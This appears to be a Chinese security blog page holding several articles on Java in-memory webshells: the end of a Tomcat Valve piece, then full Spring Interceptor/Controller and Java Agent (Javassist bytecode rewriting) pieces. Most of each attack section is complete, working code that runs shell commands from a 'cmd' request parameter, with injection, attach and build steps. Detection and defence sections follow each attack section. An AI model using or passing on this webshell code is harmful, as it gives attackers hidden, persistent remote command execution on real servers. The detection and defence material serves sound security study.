5.2 绕过 Filter 监控型 WAF

WAF / 安全产品监控:
  ✅ filterDefs / filterMaps 变化
  ✅ applicationEventListeners 变化
  ❌ Pipeline.addValve()(盲区)

5.3 Host / Engine 级持久化

注入到 Engine 层后,即使某个应用被重启、重新部署,Valve 仍留在容器管道上(只要 Tomcat 不重启)。这是 Valve 型相比应用级内存马在持久性上的优势。


六、检测方式

6.1 JMX 检查

ValveBase 实现了 LifecycleMBeanBase,每个 Valve 会注册 MBean:

jconsole → Catalina → type=Valve → 查看异常 Valve 类名

6.2 Arthas 在线排查

# 列出 StandardContext 管道上的所有 Valve
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].getPipeline().getValves()' --limit 10

# 搜索可疑 Valve 类(正常只有 Standard*Valve 等内置阀)
sc *.Valve*

6.3 内存 Dump 分析

jmap -dump:format=b,file=heapdump.hprof <pid>
# MAT 中搜索 ValveBase 子类,检查类名是否非 Tomcat 内置

6.4 基线对比脚本

// 与部署基线对比:列出管道上的 Valve
public static void listValves(StandardContext ctx) {
    for (Valve v : ctx.getPipeline().getValves()) {
        System.out.println(v.getClass().getName());
    }
}

七、防御建议

层面 措施 说明
RASP Hook Pipeline.addValve() 拦截运行时非启动阶段的 Valve 挂载
JVM Agent 监控 StandardPipeline 的 addValve 调用 记录调用栈来源
监控 定期对比 Pipeline 上的 Valve 基线 发现非内置 Valve
事前 修复反序列化等 RCE 漏洞 切断注入入口
// RASP Hook 示意(ByteBuddy @RuntimeType 教学写法)
@RuntimeType
public static void onAddValve(@This StandardPipeline pipeline, @Argument(0) Valve valve) {
    StackTraceElement[] stack = Thread.currentThread().getStackTrace();
    for (StackTraceElement frame : stack) {
        if (frame.getClassName().contains("ContextConfig")) {
            return; // 启动阶段放行
        }
    }
    // 运行时挂载 Valve → 告警
    alert("Detected runtime Valve injection: " + valve.getClass().getName());
    throw new SecurityException("Suspicious pipeline modification blocked");
}

说明:@RuntimeType / @This 为 ByteBuddy 注解,需要 net.bytebuddy:byte-buddy 依赖,此处为示意写法。


八、总结

Valve 型内存马是四种 Tomcat 内存马中隐蔽性最高的一种:

特性 Filter Servlet Listener Valve
注入难度 ⭐⭐⭐ ⭐⭐ ⭐ ⭐(最简单)
触发时机 Filter 链 Servlet 处理 请求到达 进入容器即触发
隐蔽性 ⭐⭐⭐ ⭐⭐⭐⭐ ⭐⭐⭐⭐⭐ ⭐⭐⭐⭐⭐
是否需 URL 映射 是 是 否 否

核心理由:

  1. getPipeline().addValve() 是 public 方法,无需反射,注入步骤最少
  2. 不在 Servlet 规范内,安全产品监控覆盖最少
  3. 不需要 URL 映射,任何请求都经过
  4. 可注入 Host / Engine 层,影响面更大、更隐蔽

攻击者偏好排序(综合隐蔽性与功能):

  1. Valve — 最隐蔽、注入最简单
  2. Listener — 隐蔽、触发早
  3. Filter — 最灵活、覆盖面广
  4. Servlet — 备选通道
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Java Agent 内存马 Spring 容器内存马 WebSocket 等偏门内存马
阅读全文 »

Spring 容器内存马

发表于 2026-08-06 | 分类于 漏洞分析 |

Spring 容器内存马

Spring 容器型内存马不是 Tomcat 特有的——它作用于 Spring MVC 容器,要求应用使用了 Spring MVC。它的隐蔽性在于:不在 Tomcat 的注册表里(不碰 Filter/Listener/Valve),Tomcat 层的检测完全看不到。

两种常见形态:

形态 原理 触发时机
Interceptor 型 往 AbstractHandlerMapping.adaptedInterceptors 注入 HandlerInterceptor 每个请求进入 Controller 之前
Controller 型 RequestMappingHandlerMapping.registerMapping() 动态注册一个 /evil 路由 访问该路由时

本文代码已用 Spring 5.3.39(javax)+ 6.1.14(jakarta)真实编译验证。

本质:模拟 Spring 容器装配——把恶意 HandlerInterceptor 塞进 adaptedInterceptors(每个请求触发 preHandle),或把恶意方法 + /evil 路由用 registerMapping 登记进 mappingRegistry。整体框架见 《内存马原理总纲》。


一、Spring MVC 请求处理链

1.1 DispatcherServlet 的分发流程

HTTP 请求
    ↓
DispatcherServlet.doDispatch()
    ↓
HandlerMapping.getHandler()      ← 找到能处理该 URL 的 Handler
    ↓
HandlerInterceptor.preHandle()   ← 拦截器链(注入点 ①)
    ↓
Controller 方法                  ← 动态注册的 /evil 路由(注入点 ②)
    ↓
HandlerInterceptor.postHandle() / afterCompletion()
    ↓
View 渲染 → 响应

DispatcherServlet 启动时会初始化多个 HandlerMapping,其中 RequestMappingHandlerMapping 负责 @RequestMapping 注解的路由。

1.2 两种注入形态对比

Interceptor 型:把恶意拦截器 add 进 adaptedInterceptors 列表
    → 每个请求进 Controller 前都会执行 preHandle(无需访问特定 URL)

Controller 型:registerMapping 注册一个 /evil 路由 + 恶意方法
    → 访问 /evil?cmd=xxx 触发

二、动态注册原理

2.1 Interceptor:adaptedInterceptors 字段

AbstractHandlerMapping 持有 private final List<HandlerInterceptor> adaptedInterceptors,请求分发时会按列表顺序调用每个拦截器的 preHandle。虽然字段是 final 不能重新赋值,但列表本身可变更——反射拿到字段后 add() 即可:

Field field = /* AbstractHandlerMapping 的 adaptedInterceptors 字段 */;
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(mapping);
list.add(new InterceptorMemShell());

2.2 Controller:registerMapping

RequestMappingHandlerMapping.registerMapping(RequestMappingInfo, Object handler, Method method) 是 public 方法,直接把一个方法注册成路由:

RequestMappingInfo info = RequestMappingInfo.paths("/evil").build();  // Builder → info
Method method = controller.getClass().getDeclaredMethod("evil", ...);
mapping.registerMapping(info, controller, method);

三、完整代码实现

3.1 Interceptor 型(javax / Spring 5.x)

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;

public class InterceptorMemShell implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);
                response.setContentType("text/html;charset=UTF-8");
                response.getWriter().write("<pre>" + result + "</pre>");
                return false; // 拦截,不进入 Controller
            } catch (Exception e) {
                response.getWriter().write("Error: " + e.getMessage());
            }
        }
        return true;
    }

    /**
     * 从 ServletContext 拿 Spring 容器并注入
     */
    public static void inject(ServletContext servletContext) throws Exception {
        WebApplicationContext ctx =
                WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
        RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);

        // adaptedInterceptors 定义在 AbstractHandlerMapping(父类父类),沿继承链向上找字段
        List<HandlerInterceptor> interceptors = getAdaptedInterceptors(mapping);

        // 防重复
        for (HandlerInterceptor interceptor : interceptors) {
            if (interceptor instanceof InterceptorMemShell) {
                return;
            }
        }
        interceptors.add(new InterceptorMemShell());
    }

    @SuppressWarnings("unchecked")
    private static List<HandlerInterceptor> getAdaptedInterceptors(RequestMappingHandlerMapping mapping)
            throws Exception {
        Class<?> cls = mapping.getClass();
        Field field = null;
        while (cls != null && field == null) {
            try {
                field = cls.getDeclaredField("adaptedInterceptors");
            } catch (NoSuchFieldException e) {
                cls = cls.getSuperclass();
            }
        }
        if (field == null) {
            throw new NoSuchFieldException("adaptedInterceptors");
        }
        field.setAccessible(true);
        return (List<HandlerInterceptor>) field.get(mapping);
    }

    /**
     * 统一命令执行器
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.2 Controller 型(javax / Spring 5.x)

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;

public class ControllerMemShell {

    /**
     * 恶意 Controller 方法:注册后访问 /evil?cmd=xxx 即执行命令
     */
    @org.springframework.web.bind.annotation.RequestMapping("/evil")
    public void evil(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            String result = exec(cmd);
            response.setContentType("text/html;charset=UTF-8");
            response.getWriter().write("<pre>" + result + "</pre>");
        }
    }

    public static void inject(ServletContext servletContext) throws Exception {
        WebApplicationContext ctx =
                WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
        RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);

        ControllerMemShell controller = new ControllerMemShell();
        Method method = controller.getClass().getDeclaredMethod(
                "evil", HttpServletRequest.class, HttpServletResponse.class);

        // paths() 返回 Builder,build() 生成 RequestMappingInfo
        RequestMappingInfo info = RequestMappingInfo.paths("/evil").build();
        mapping.registerMapping(info, controller, method);
    }

    /**
     * 统一命令执行器
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.3 触发注入

JSP(application 即 ServletContext;前提:恶意类已存在于 webapp classloader,例如由反序列化 payload 定义并加载):

<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils,
                 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%
    // 方式一:注入 Interceptor(之后任意请求带 ?cmd=xxx 即触发)
    InterceptorMemShell.inject(application);
    out.println("[+] Interceptor injected: 任意路径 ?cmd=whoami");

    // 方式二:注册 Controller 路由(访问 /evil?cmd=xxx)
    ControllerMemShell.inject(application);
    out.println("[+] Controller injected: /evil?cmd=whoami");
%>

反序列化 payload 片段(无 JSP,直接拿 ServletContext):

// 反序列化 payload 中的代码片段
javax.servlet.ServletContext servletContext = request.getSession().getServletContext();
InterceptorMemShell.inject(servletContext);

3.4 jakarta(Spring 6.x / Tomcat 10+)版本差异

Spring 6 全面迁移到 jakarta.servlet 命名空间,但 Spring MVC 的 API(HandlerInterceptor、RequestMappingHandlerMapping、adaptedInterceptors)未变。仅需把两个类里所有 javax.servlet 换成 jakarta.servlet:

// javax(Spring 5.x)
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;

// jakarta(Spring 6.x)—— 全局替换包名即可
import jakarta.servlet.ServletContext;
import jakarta.servlet.http.HttpServletRequest;

四、代码详解

4.1 获取 Spring 容器

WebApplicationContext ctx =
        WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);

servletContext 从哪来:

  • JSP 里直接用内置对象 application;
  • 请求里 request.getSession().getServletContext();
  • 反序列化 payload 里 (HttpServletRequest)obj.get("request") 类似的链。

4.2 adaptedInterceptors 沿继承链反射

字段在 AbstractHandlerMapping,而 RequestMappingHandlerMapping 的继承链是 AbstractHandlerMethodMapping → AbstractHandlerMapping。getDeclaredField 只查当前类,所以要沿 getSuperclass() 向上找(代码里用 while 循环处理)。字段是 final,但列表本身可变,直接 add() 生效。

4.3 registerMapping 动态路由

RequestMappingInfo.paths("/evil").build() 生成映射信息;registerMapping(info, controller, method) 把 controller 的方法注册成 /evil 路由。这是 Spring 提供的能力(Servlet 3.0 规范之外 Spring 自己的扩展),天然支持运行时注册。

4.4 版本兼容性

Spring 版本 Servlet 包 Tomcat 版本 差异
5.3.x javax.servlet 8.5 / 9.x 本代码适用
6.0.x / 6.1.x jakarta.servlet 10.x / 11.x 仅替换包名

五、利用场景

5.1 反序列化 → Spring 注入

Shiro / Fastjson 反序列化 → 代码执行
    → 拿到 ServletContext(request.getSession().getServletContext())
    → InterceptorMemShell.inject(servletContext)  或  ControllerMemShell.inject(servletContext)

5.2 躲过 Tomcat 层检测

Tomcat 层安全产品监控:
  ✅ filterDefs / filterMaps / listeners / Pipeline
  ❌ Spring 容器(adaptedInterceptors / HandlerMapping 注册表)—— 盲区

Spring 内存马不触碰 Tomcat 的任何组件,Tomcat 层的查杀工具(对比 Filter/Listener/Valve 基线)完全无效。

5.3 强依赖 Spring

  • 应用必须使用 Spring MVC(DispatcherServlet + RequestMappingHandlerMapping);
  • 纯 JSP/Servlet 应用不适用;
  • Spring Boot 内嵌 Tomcat 同样适用(adaptedInterceptors、registerMapping 机制一致)。

六、检测方式

6.1 枚举 HandlerInterceptor

// 检测代码:列出所有注册的拦截器
WebApplicationContext ctx =
        WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);
for (Object interceptor : mapping.getAdaptedInterceptors()) {
    System.out.println(interceptor.getClass().getName());
}

6.2 枚举动态路由

// 列出所有已注册的 RequestMapping,检查是否有非业务路由
for (Object handlerMethod : mapping.getHandlerMethods().keySet()) {
    System.out.println(handlerMethod);
}
// 或 curl 探测:/evil?cmd=whoami 是否返回命令结果

6.3 基线对比

把应用启动时的拦截器 / 路由列表存为基线,运行时定期对比,出现新增项即告警。


七、防御建议

层面 措施 说明
RASP Hook adaptedInterceptors.add() / registerMapping() 拦截运行时注入
Spring 启用 Spring Security 并白名单过滤 即使注册了 /evil 也无法未授权访问
监控 定期对比拦截器 / 路由基线 发现异常 Handler
事前 修复反序列化等 RCE 漏洞 切断注入入口

八、总结

Spring 容器型内存马与 Tomcat 层的四种类型互补:

特性 Tomcat 层(Filter/Servlet/Listener/Valve) Spring 容器型
适用前提 任意 Web 应用 必须用 Spring MVC
触碰的注册表 Tomcat 组件 Spring 容器
Tomcat 层检测 可见 不可见(盲区)
隐蔽性 中~高 高

攻击者偏好排序(综合隐蔽性与功能):

  1. Agent — JVM 层,最隐蔽
  2. Valve — Tomcat 层最隐蔽
  3. Spring Interceptor / Controller — 应用是 Spring 时的隐蔽通道
  4. Listener / Filter / Servlet — 常见
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 WebSocket 等偏门内存马
阅读全文 »

Java Agent 内存马

发表于 2026-08-06 | 分类于 漏洞分析 |

Java Agent 内存马

Agent 型内存马是** JVM 字节码层的无文件内存马,也是最难检测**的一类。

与 Filter / Servlet / Listener / Valve 不同,Agent 内存马不注册任何容器组件——它不往 StandardContext 里加任何东西,而是通过 Java Instrumentation 机制(java.lang.instrument)注入一个 ClassFileTransformer,改写目标类的字节码,在请求处理路径(如 ApplicationFilterChain.internalDoFilter)上插入命令执行逻辑。类名、包名都是原有的,JMX / Arthas 查容器组件完全看不到。

说明:Agent 内存马作用于整个 JVM,不限于 Tomcat,但对运行在 Tomcat 上的 Web 应用最有效。本文以 Tomcat 9.0.100(javax)与 10.1.34(jakarta)为验证版本。

本质:模拟 JVM 的字节码重定义(Instrumentation + ClassFileTransformer),把恶意代码直接插入 ApplicationFilterChain.internalDoFilter 方法体,类名、注册表都不变,因此最难检测。整体框架见 《内存马原理总纲》。


一、Java Instrumentation 机制

1.1 两种入口:premain 与 agentmain

java.lang.instrument 提供两种注入字节码转换器的时机:

入口 时机 注入方式
premain(String, Instrumentation) JVM 启动时 启动参数 -javaagent:evil-agent.jar
agentmain(String, Instrumentation) 运行时(JVM 已启动) VirtualMachine.attach(pid) + loadAgent()

内存马场景几乎都是 agentmain——目标 JVM 早已运行,通过 attach 机制从外部注入。

1.2 ClassFileTransformer 与 retransform

Instrumentation.addTransformer(ClassFileTransformer, boolean canRetransform) 注册一个转换器。它对之后加载的类生效;对已经加载的类,需要调用 retransformClasses(Class<?>...) 触发重新转换:

addTransformer(t, true)  →  之后的类加载时调用 t.transform()
retransformClasses(C)    →  已加载的类 C 重新过一遍 transformer(需 canRetransform=true)

1.3 为什么 Agent 内存马最难检测

Filter/Servlet/Listener/Valve 内存马 → 容器里多出"组件"(注册表可见)
Agent 内存马 → 类名不变、包名不变、容器无任何新增组件,改的是内存里的字节码

检测 Agent 型只有两条路:
  1. 枚举 JVM 里注册的 ClassFileTransformer
  2. 对比磁盘 .class 与 JVM 中运行时字节码的差异(diff)

二、注入原理

2.1 attach 流程

攻击者 JVM / JSP / 反序列化 payload
    ↓ VirtualMachine.attach(目标pid)
    ↓ vm.loadAgent(evil-agent.jar)
    ↓ JVM 调用 agentmain(args, inst)
    ↓ inst.addTransformer(transformer, true)
    ↓ inst.retransformClasses(ApplicationFilterChain)
    ↓ 下一次请求进入 internalDoFilter() 时执行插入的代码

2.2 选择 hook 点

经典的 hook 点是 org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ServletRequest, ServletResponse)——它是每个请求进入 Filter 链的必经方法,$1 是 ServletRequest,$2 是 ServletResponse:

CoyoteAdapter → ... → StandardWrapperValve
    ↓
ApplicationFilterChain.doFilter()
    ↓
internalDoFilter(request, response)   ← 在这里插入命令执行逻辑
    ↓
Filter1 → Filter2 → ... → servlet.service()

备选 hook 点:javax.servlet.http.HttpServlet.service(...)(见 5.2)。

2.3 字节码改写(Javassist)

直接操作字节码很繁琐,这里用 Javassist 在 internalDoFilter 方法开头 insertBefore 一段代码:有 cmd 参数就执行命令并写回响应,然后 return(短路,不进入 Filter 链);否则继续原逻辑。


三、完整代码实现

3.1 恶意 Transformer(javax / Tomcat 8.5 / 9.x)

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;

public class EvilTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        // className 形如 org/apache/catalina/core/ApplicationFilterChain
        if (className == null || !className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
            return null; // 不关心的类返回 null,保持原字节码
        }
        CtClass ct = null;
        try {
            // 每次用全新 ClassPool:ClassPool.getDefault() 是全局共享池,
            // makeClass 发现同名类已在池里就返回缓存的 CtClass(可能已 modified),会跳过插入
            ClassPool pool = new ClassPool(null);
            if (loader != null) {
                // 让 javassist 编译插入片段时能解析 javax.servlet 等类型(用目标类的 classloader)
                pool.appendClassPath(new LoaderClassPath(loader));
            }
            // 从"当前已加载类"的字节码构造,而不是 ClassPool.getDefault().get(className):
            // Tomcat 里 catalina.jar 由 common classloader 加载,java.class.path 上找不到
            ct = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
            // $1 = ServletRequest, $2 = ServletResponse(internalDoFilter 的两个参数)
            ct.getDeclaredMethod("internalDoFilter").insertBefore(
                "javax.servlet.ServletRequest __req = $1;"
                + "String __c = __req.getParameter(\"cmd\");"
                + "if (__c != null && !__c.isEmpty()) {"
                + "  try {"
                + "    Process __p = Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",__c});"
                + "    java.io.InputStream __in = __p.getInputStream();"
                + "    byte[] __buf = new byte[4096];"
                + "    java.io.ByteArrayOutputStream __bout = new java.io.ByteArrayOutputStream();"
                + "    int __len;"
                + "    while ((__len = __in.read(__buf)) != -1) __bout.write(__buf, 0, __len);"
                + "    ((javax.servlet.http.HttpServletResponse)$2).setContentType(\"text/html;charset=UTF-8\");"
                + "    ((javax.servlet.http.HttpServletResponse)$2).getWriter().write(\"<pre>\" + new String(__bout.toByteArray(), \"UTF-8\") + \"</pre>\");"
                + "  } catch (Exception __e) { __e.printStackTrace(); }"
                + "  return;"
                + "}"
            );
            byte[] bytes = ct.toBytecode();
            return bytes;
        } catch (Throwable t) {
            t.printStackTrace();
        } finally {
            if (ct != null) ct.detach();
        }
        return null;
    }
}

3.2 Agent 入口 agentmain(javax)

import java.lang.instrument.Instrumentation;

public class EvilAgent {

    public static void agentmain(String args, Instrumentation inst) {
        inst.addTransformer(new EvilTransformer(), true);

        // 不能用 Class.forName 定位目标类:agentmain 跑在 system classloader,
        // 而 ApplicationFilterChain 由 Tomcat 的 common classloader 加载,forName 会抛
        // ClassNotFoundException。改用 getAllLoadedClasses() 遍历已加载类来定位。
        Class<?> target = null;
        for (Class<?> c : inst.getAllLoadedClasses()) {
            if ("org.apache.catalina.core.ApplicationFilterChain".equals(c.getName())) {
                target = c;
                break;
            }
        }
        if (target == null) {
            System.out.println("[!] ApplicationFilterChain not loaded");
            return;
        }
        try {
            // 目标类在 attach 时已加载,需 retransform 才会重写字节码
            inst.retransformClasses(target);
            System.out.println("[+] Agent transformer applied to ApplicationFilterChain");
        } catch (Throwable t) {
            t.printStackTrace();
        }
    }
}

3.3 attach 触发类(javax)

import com.sun.tools.attach.VirtualMachine;

public class AttachShell {

    public static void inject(String targetPid, String agentJarPath) throws Exception {
        VirtualMachine vm = VirtualMachine.attach(targetPid);
        try {
            vm.loadAgent(agentJarPath);
        } finally {
            vm.detach();
        }
    }
}

targetPid 可用 jps -l 获取(Tomcat 的 pid 通常记为 org.apache.catalina.startup.Bootstrap)。

3.4 构建 agent jar

agent jar 的 MANIFEST 必须包含 Agent-Class,并声明 Can-Retransform-Classes: true:

Manifest-Version: 1.0
Agent-Class: EvilAgent
Can-Retransform-Classes: true
# 1. 编译(需要 javassist.jar;AttachShell 需额外 --add-modules jdk.attach)
javac -cp javassist.jar -d agent_classes EvilAgent.java EvilTransformer.java

# 2. 打包(Manifest 放 META-INF/MANIFEST.MF)
jar cfm evil-agent.jar META-INF/MANIFEST.MF -C agent_classes .

# 3. 由于 agent 类由系统类加载器加载,javassist 必须可达。
#    最简单的方式是用 maven-shade-plugin 把 javassist 打进 agent jar(fat jar):
<!-- pom.xml 片段:shade 打包,把 javassist 打进去,并写入 Agent-Class 清单 -->
<build>
  <finalName>evil-agent</finalName>
  <plugins>
    <plugin>
      <groupId>org.apache.maven.plugins</groupId>
      <artifactId>maven-shade-plugin</artifactId>
      <version>3.5.1</version>
      <executions>
        <execution>
          <phase>package</phase>
          <goals><goal>shade</goal></goals>
          <configuration>
            <transformers>
              <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                <manifestEntries>
                  <Agent-Class>EvilAgent</Agent-Class>
                  <Can-Retransform-Classes>true</Can-Retransform-Classes>
                </manifestEntries>
              </transformer>
            </transformers>
          </configuration>
        </execution>
      </executions>
    </plugin>
  </plugins>
</build>

3.5 jakarta(Tomcat 10+)版本差异

ApplicationFilterChain 类路径不变(org.apache.catalina.core),但插入的字节码里引用的 Servlet 类型要换包名:

// javax(Tomcat 8.5 / 9.x)
"javax.servlet.ServletRequest __req = $1;"
"((javax.servlet.http.HttpServletResponse)$2).getWriter()..."

// jakarta(Tomcat 10.x / 11.x)—— 插入字符串里全部替换
"jakarta.servlet.ServletRequest __req = $1;"
"((jakarta.servlet.http.HttpServletResponse)$2).getWriter()..."

EvilAgent 与 AttachShell 两个版本完全一致。


四、代码详解

4.1 transform 返回 null 的语义

transform 返回 null 表示”不修改该类,保留原字节码”。因此必须用 className 白名单精确命中目标类,否则 JVM 里每个类都会过一遍转换器,浪费性能且容易出错。

4.2 $1 / $2 参数引用

Javassist 里 $1、$2 是方法参数占位符。internalDoFilter(ServletRequest, ServletResponse) 的 $1 是请求、$2 是响应。ServletResponse 没有 getWriter(),所以要强转成 HttpServletResponse。

4.3 canRetransform 与 retransformClasses

  • addTransformer(t, true) 的第二个参数 true 表示允许 retransform。
  • 对已加载的类,必须显式 retransformClasses(...) 才会生效;只 addTransformer 不会影响已加载类。

4.4 实战踩坑:ClassPool 与已加载类(Tomcat 8.5.39 / JDK 8 实测)

3.1 的写法是在真实 Tomcat 上逐一踩坑后修正的,三个关键点缺一不可:

  1. Class.forName 定位不了目标类:agentmain 跑在 system classloader,而 ApplicationFilterChain 由 Tomcat 的 common classloader 加载,Class.forName 直接抛 ClassNotFoundException。必须用 inst.getAllLoadedClasses() 遍历已加载类来定位(见 3.2)。

  2. ClassPool.getDefault().get(className) 找不到类:javassist 按 java.class.path 解析,但 catalina.jar 由 common classloader 加载、不在 java.class.path 上。必须从 transform() 收到的 classfileBuffer(当前已加载类的实际字节码)用 pool.makeClass(new ByteArrayInputStream(classfileBuffer)) 构造 CtClass。

  3. ClassPool.getDefault() 全局共享池会跳过插入:makeClass 发现同名类已在池里时返回缓存的 CtClass(可能已 modified),导致 isModified()=true 跳过 insertBefore——表现是 attach 成功、类却没被改。必须每次调用新建 ClassPool(null),并 appendClassPath(new LoaderClassPath(loader)) 让 javassist 编译插入片段时能解析 javax.servlet 等类型(loader 是目标类的 classloader)。

实测链路(每步写入 /tmp/evil-agent-debug.log): agentmain 开始 → 找到目标类 → transform 被调用 → makeClass 成功 → insertBefore 完成 → transform OK → retransformClasses 调用成功 此时任意请求带 ?cmd=whoami 即执行命令。

4.5 版本兼容性

Tomcat 版本 目标类 插入字符串里的 Servlet 包
8.5.x / 9.x org.apache.catalina.core.ApplicationFilterChain javax.servlet.*
10.x / 11.x org.apache.catalina.core.ApplicationFilterChain jakarta.servlet.*

五、利用场景

5.1 反序列化 → attach

Shiro / Fastjson 反序列化拿到代码执行后,调用 AttachShell.inject(pid, agentJar) 即可完成注入(agent jar 可放在内存中由 URLClassLoader 加载后 attach,或先写到临时目录):

// 反序列化 payload 中的代码片段
String pid = "...";                  // 目标 Tomcat 的 JVM pid
String agent = "/tmp/evil-agent.jar"; // 提前上传或内嵌写出
AttachShell.inject(pid, agent);

5.2 备选 hook 点:HttpServlet.service

如果 internalDoFilter 被某些组件替换(少见),可改 hook javax.servlet.http.HttpServlet.service:

// 把 3.1 里的目标类换成 HttpServlet(同样用 getAllLoadedClasses 定位,见 4.4)
Class<?> target = null;
for (Class<?> c : inst.getAllLoadedClasses()) {
    if ("javax.servlet.http.HttpServlet".equals(c.getName())) {
        target = c;
        break;
    }
}
inst.retransformClasses(target);
// transformer 里 insertBefore 的代码相同(service 的参数 $1/$2 也是 request/response)

5.3 隐蔽性优势

  • 容器注册表(filterDefs / filterMaps / listeners / pipeline valves)完全无变化;
  • 类名保持 ApplicationFilterChain,常规类名扫描(sc *.Filter*)不命中;
  • 常规内存马查杀工具(枚举容器组件)对 Agent 型无效。

六、检测方式

6.1 枚举 ClassFileTransformer

Agent 内存马本质是注册了一个 transformer。用 JDK 自带的 Instrumentation 枚举(需要 attach 一个自写的检测 agent):

// 检测 agent:把注册的 transformer 类名打印出来
public static void agentmain(String args, Instrumentation inst) {
    Class<?>[] classes = inst.getAllLoadedClasses();
    // 触发一次重转换,观察是否有 transformer 命中不该改的类
    for (Class<?> c : classes) {
        if (c.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
            inst.retransformClasses(c);
        }
    }
}

更简单的方式:对比”磁盘上的 ApplicationFilterChain.class”与”JVM 中运行时的字节码”——用 Instrumentation 无法直接 dump 字节码,实践中可借助 Arthas 的 jad 反编译对比源码是否被插入逻辑。

6.2 Arthas 反编译对比

# 反编译运行时字节码,观察 internalDoFilter 是否被插入了可疑逻辑
jad org.apache.catalina.core.ApplicationFilterChain
# 与源码对比,出现 __req / __bout / Runtime.getRuntime().exec 等特征即为 Agent 内存马

6.3 查看 agent 加载状态

jcmd <pid> VM.class_hierarchy org.apache.catalina.core.ApplicationFilterChain
# 观察是否有注入的 transformer 特征;或直接重启应用清除

注意:Agent 型内存马无法热移除,大部分查杀工具只能检测不能清除;彻底清除需要重启 JVM。


七、防御建议

层面 措施 说明
JVM -XX:+DisableAttachMechanism 禁止运行时 attach,从源头阻断 agentmain 注入
JVM 枚举 Instrumentation 的 transformer 检测已注册的转换器
RASP 监控 retransformClasses / addTransformer 调用 拦截运行时字节码改写
事前 修复反序列化等 RCE 漏洞 切断注入入口(否则任何检测都是事后)
# 启动参数禁用 attach 机制(Tomcat 的 JAVA_OPTS)
CATALINA_OPTS="-XX:+DisableAttachMechanism"

八、总结

四种内存马中,Agent 型隐蔽性最高、检测难度最大,但也最”重”:

特性 Filter/Servlet/Listener/Valve Agent
作用层 容器组件(注册表可见) JVM 字节码(无注册表)
检测难度 可枚举组件对比 需对比字节码 / 枚举 transformer
是否可热移除 多数可 不可(需重启)
隐蔽性 中~高 最高

攻击者偏好排序(综合隐蔽性与功能):

  1. Agent — 最隐蔽,最难检测/清除
  2. Valve — 隐蔽,注入简单
  3. Listener — 隐蔽,触发早
  4. Filter / Servlet — 常见,易被监控
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Spring 容器内存马 WebSocket 等偏门内存马
阅读全文 »

Fastjson2 ≤ 2.0.62 AutoType 白名单绕过 RCE 深度分析

发表于 2026-08-05 | 分类于 Java安全 , 漏洞分析 |

